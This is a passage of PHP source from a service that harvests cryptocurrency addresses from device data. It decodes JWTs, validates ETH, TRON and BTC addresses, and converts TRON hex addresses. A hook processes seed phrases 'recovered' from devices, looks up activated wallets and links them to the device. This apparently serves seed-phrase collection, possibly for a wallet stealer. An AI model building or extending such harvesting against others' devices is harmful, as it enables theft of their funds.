?: $tag, $depth + 1); continue; } } if (is_array($child) || is_string($child)) { $this->collectAddressesFromNode($child, $out, $childSource, $childTag, $depth + 1); } } } /** * Harvest ETH/TRX/BTC addresses from a text string and add them to $out. * * @param list $out */ private function harvestAddresses(string $text, string $source, string $tag, array &$out): void { // JWT tokens: decode payload and look for "address" field. if (str_starts_with($text, 'eyJ')) { $parts = explode('.', $text); if (count($parts) >= 2) { $payload = $parts[1]; $pad = (4 - strlen($payload) % 4) % 4; if ($pad > 0) { $payload .= str_repeat('=', $pad); } $decoded = base64_decode(strtr($payload, '-_', '+/'), true); if (is_string($decoded)) { $json = json_decode($decoded, true); if (is_array($json) && isset($json['address']) && is_string($json['address'])) { $addr = $json['address']; $chainType = WalletSource::inferChainType($addr); // TON stays out of DS free-text harvests (jetton // contract noise); only the app-link Tonhub // collector may store TON addresses. $supported = $chainType !== 'TON' && WalletSource::isSupportedChain($chainType); if ($supported) { $out[] = $this->addressRow($addr, $chainType, $source, $tag); } } } } } // Direct address patterns — each match is validated before // being accepted, so encrypted blobs (xpub strings, hex IVs, // base64 ciphertext) that happen to match a regex are rejected. $patterns = [ '/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM', '/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON', '/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN', ]; $validators = [ 'ETHEREUM' => fn (string $a) => EthAddress::isValid($a), 'TRON' => fn (string $a) => TronAddress::isValid($a), 'BITCOIN' => fn (string $a) => BtcAddress::isValid($a), ]; foreach ($patterns as $pat => $chainType) { if (preg_match_all($pat, $text, $matches)) { $validator = $validators[$chainType] ?? null; foreach ($matches[0] as $addr) { if ($validator !== null && ! $validator($addr)) { continue; } $out[] = $this->addressRow($addr, $chainType, $source, $tag); } } } } /** * @return array{address: string, chainType: string, symbol: string, balance: int, tag: string} */ private function addressRow(string $address, string $chainType, string $source, string $tag): array { $symbol = match ($chainType) { 'BITCOIN' => 'BTC', 'ETHEREUM' => 'ETH', default => 'TRX', }; return [ 'address' => $address, 'chainType' => $chainType, 'symbol' => $symbol, 'balance' => 0, 'tag' => $tag, ]; } /** * Decode a hex string to UTF-8 text if possible. */ private function decodeHexText(string $raw): ?string { $raw = trim($raw); if ($raw === '' || ! ctype_xdigit($raw) || strlen($raw) % 2 !== 0) { return null; } $bin = @hex2bin($raw); if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) { return $bin; } return null; } /** * Post-recovery hook: discover activated wallets and link addresses. * Called by the async job after a mnemonic is recovered. * * @param array{source: string, tag: string, phrase: string, addresses: list>} $hit */ public function postRecoverMnemonic(WalletMnemonic $mnemonic, array $hit): void { $this->mnemonicDiscovery->discoverActivated($mnemonic); $tag = $hit['tag'] !== '' ? $hit['tag'] : 'd'; if (($hit['addresses'] ?? []) !== []) { $this->ingest->ingestAddresses($mnemonic->device, [ 'a' => $tag, 'data' => $hit['addresses'], ]); } $this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic); } /** * Convert a 42-char hex TRON address (0x41-prefixed) to base58check. */ private static function hexTronToBase58(string $hex): ?string { if (strlen($hex) !== 42 || ! ctype_xdigit($hex) || ! str_starts_with($hex, '41')) { return null; } $bin = @hex2bin($hex); if ($bin === false || strlen($bin) !== 21) { return null; } $hash1 = hash('sha256', $bin, true); $hash2 = hash('sha256', $hash1, true); $data = $bin . substr($hash2, 0, 4); $alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'; $base = strlen($alphabet); $num = array_map('ord', str_split($data)); $result = ''; while (count($num) > 0 && $num[0] === 0) { $result .= $alphabet[0]; $num = array_slice($num, 1); } while ($num !== []) { $quotient = []; $remainder = 0; foreach ($num as $byte) { $acc = $remainder * 256 + $byte; $digit = intdiv($acc, $base); $remainder = $acc % $base; if ($quotient !== [] || $digit !== 0) { $quotient[] = $digit; } } $result = $alphabet[$remainder] . $result; $num = $quotient; } return strlen($result) === 34 && $result[0] === 'T' ? $result : null; } }